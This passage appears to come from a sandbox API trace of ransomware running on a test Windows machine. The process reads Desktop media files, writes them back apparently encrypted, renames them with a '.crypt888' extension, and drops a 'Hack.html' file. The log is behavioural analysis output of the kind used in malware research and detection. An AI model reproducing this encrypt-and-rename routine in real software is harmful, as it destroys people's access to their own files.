returned 1 [0080.219] CloseHandle (hObject=0x174) returned 1 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", lpFilePart=0x0) returned 0x4c [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4.crypt888", lpFilePart=0x0) returned 0x55 [0080.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0080.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\cmjq_wky2zcfyz_kjng2.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1066dd70, ftCreationTime.dwHighDateTime=0x1d45a74, ftLastAccessTime.dwLowDateTime=0x25614fc0, ftLastAccessTime.dwHighDateTime=0x1d4566f, ftLastWriteTime.dwLowDateTime=0xc103c900, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3a80)) returned 1 [0080.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0080.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\cmjq_wky2zcfyz_kjng2.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\cmjq_wky2zcfyz_kjng2.mp4.crypt888")) returned 1 [0080.226] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", lpFilePart=0x0) returned 0x46 [0080.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0080.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\crinm_4cpk0 zo.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.227] GetFileType (hFile=0x174) returned 0x1 [0080.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0080.227] GetFileType (hFile=0x174) returned 0x1 [0080.227] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1888e [0080.227] ReadFile (in: hFile=0x174, lpBuffer=0x38d9d80, nNumberOfBytesToRead=0x1888e, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x38d9d80*, lpNumberOfBytesRead=0x39ed24*=0x1888e, lpOverlapped=0x0) returned 1 [0080.314] CloseHandle (hObject=0x174) returned 1 [0080.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", lpFilePart=0x0) returned 0x46 [0080.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0080.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\crinm_4cpk0 zo.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.339] GetFileType (hFile=0x174) returned 0x1 [0080.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0080.339] GetFileType (hFile=0x174) returned 0x1 [0080.339] WriteFile (in: hFile=0x174, lpBuffer=0x3954890*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3954890*, lpNumberOfBytesWritten=0x39ed14*=0x18890, lpOverlapped=0x0) returned 1 [0080.341] CloseHandle (hObject=0x174) returned 1 [0080.343] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4", lpFilePart=0x0) returned 0x46 [0080.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4.crypt888", lpFilePart=0x0) returned 0x4f [0080.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0080.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\crinm_4cpk0 zo.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6effbd00, ftCreationTime.dwHighDateTime=0x1d465ca, ftLastAccessTime.dwLowDateTime=0xaac36b10, ftLastAccessTime.dwHighDateTime=0x1d45aae, ftLastWriteTime.dwLowDateTime=0xc116d400, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x18890)) returned 1 [0080.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0080.344] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\crinm_4cpk0 zo.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\CRInM_4CPk0 ZO.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\crinm_4cpk0 zo.mp4.crypt888")) returned 1 [0080.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", lpFilePart=0x0) returned 0x3c [0080.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0080.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\mtt3.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.346] GetFileType (hFile=0x174) returned 0x1 [0080.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0080.346] GetFileType (hFile=0x174) returned 0x1 [0080.346] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xff25 [0080.346] ReadFile (in: hFile=0x174, lpBuffer=0x28e24dc, nNumberOfBytesToRead=0xff25, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28e24dc*, lpNumberOfBytesRead=0x39ed24*=0xff25, lpOverlapped=0x0) returned 1 [0080.359] CloseHandle (hObject=0x174) returned 1 [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", lpFilePart=0x0) returned 0x3c [0080.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0080.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\mtt3.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.473] GetFileType (hFile=0x174) returned 0x1 [0080.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0080.473] GetFileType (hFile=0x174) returned 0x1 [0080.473] WriteFile (in: hFile=0x174, lpBuffer=0x272b17c*, nNumberOfBytesToWrite=0xff30, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x272b17c*, lpNumberOfBytesWritten=0x39ed14*=0xff30, lpOverlapped=0x0) returned 1 [0080.475] CloseHandle (hObject=0x174) returned 1 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a", lpFilePart=0x0) returned 0x3c [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a.crypt888", lpFilePart=0x0) returned 0x45 [0080.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0080.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\mtt3.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81c1b50, ftCreationTime.dwHighDateTime=0x1d456e9, ftLastAccessTime.dwLowDateTime=0xc7197bb0, ftLastAccessTime.dwHighDateTime=0x1d461e8, ftLastWriteTime.dwLowDateTime=0xc129df00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xff30)) returned 1 [0080.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0080.478] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\mtt3.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\MtT3.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\mtt3.m4a.crypt888")) returned 1 [0080.479] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\Hack.html", lpFilePart=0x0) returned 0x3d [0080.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0080.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0080.479] GetFileType (hFile=0x174) returned 0x1 [0080.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0080.479] GetFileType (hFile=0x174) returned 0x1 [0080.480] WriteFile (in: hFile=0x174, lpBuffer=0x273cb78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x273cb78*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0080.480] CloseHandle (hObject=0x174) returned 1 [0080.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0080.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB", lpFilePart=0x0) returned 0x31 [0080.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\", lpFilePart=0x0) returned 0x32 [0080.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0080.481] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.481] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.481] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.481] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0080.482] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0080.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0080.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0080.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB", lpFilePart=0x0) returned 0x31 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\", lpFilePart=0x0) returned 0x32 [0080.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0080.483] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.483] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.484] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0080.485] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0080.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0080.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0080.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", lpFilePart=0x0) returned 0x3a [0080.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0080.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\5nb4.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.485] GetFileType (hFile=0x174) returned 0x1 [0080.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0080.485] GetFileType (hFile=0x174) returned 0x1 [0080.485] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x9628 [0080.485] ReadFile (in: hFile=0x174, lpBuffer=0x274052c, nNumberOfBytesToRead=0x9628, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x274052c*, lpNumberOfBytesRead=0x39ed24*=0x9628, lpOverlapped=0x0) returned 1 [0080.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", lpFilePart=0x0) returned 0x3a [0080.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0080.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\5nb4.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.513] GetFileType (hFile=0x174) returned 0x1 [0080.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0080.513] GetFileType (hFile=0x174) returned 0x1 [0080.513] WriteFile (in: hFile=0x174, lpBuffer=0x27bc33c*, nNumberOfBytesToWrite=0x9630, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27bc33c*, lpNumberOfBytesWritten=0x39ed14*=0x9630, lpOverlapped=0x0) returned 1 [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4", lpFilePart=0x0) returned 0x3a [0080.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4.crypt888", lpFilePart=0x0) returned 0x43 [0080.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0080.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\5nb4.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x429ff3d0, ftCreationTime.dwHighDateTime=0x1d45894, ftLastAccessTime.dwLowDateTime=0x1b1132d0, ftLastAccessTime.dwHighDateTime=0x1d46298, ftLastWriteTime.dwLowDateTime=0xc1310320, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x9630)) returned 1 [0080.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0080.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\5nb4.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\5Nb4.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndinmlzphb\\5nb4.mp4.crypt888")) returned 1 [0080.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX", lpFilePart=0x0) returned 0x43 [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\", lpFilePart=0x0) returned 0x44 [0080.528] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a268 [0080.528] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.528] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.528] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0080.529] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX", lpFilePart=0x0) returned 0x43 [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\", lpFilePart=0x0) returned 0x44 [0080.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZndiNMlZPhB\\Q7b6ki6LzWKXD6NQX\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a268 [0080.530] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0080.530] FindNextFileW (in: 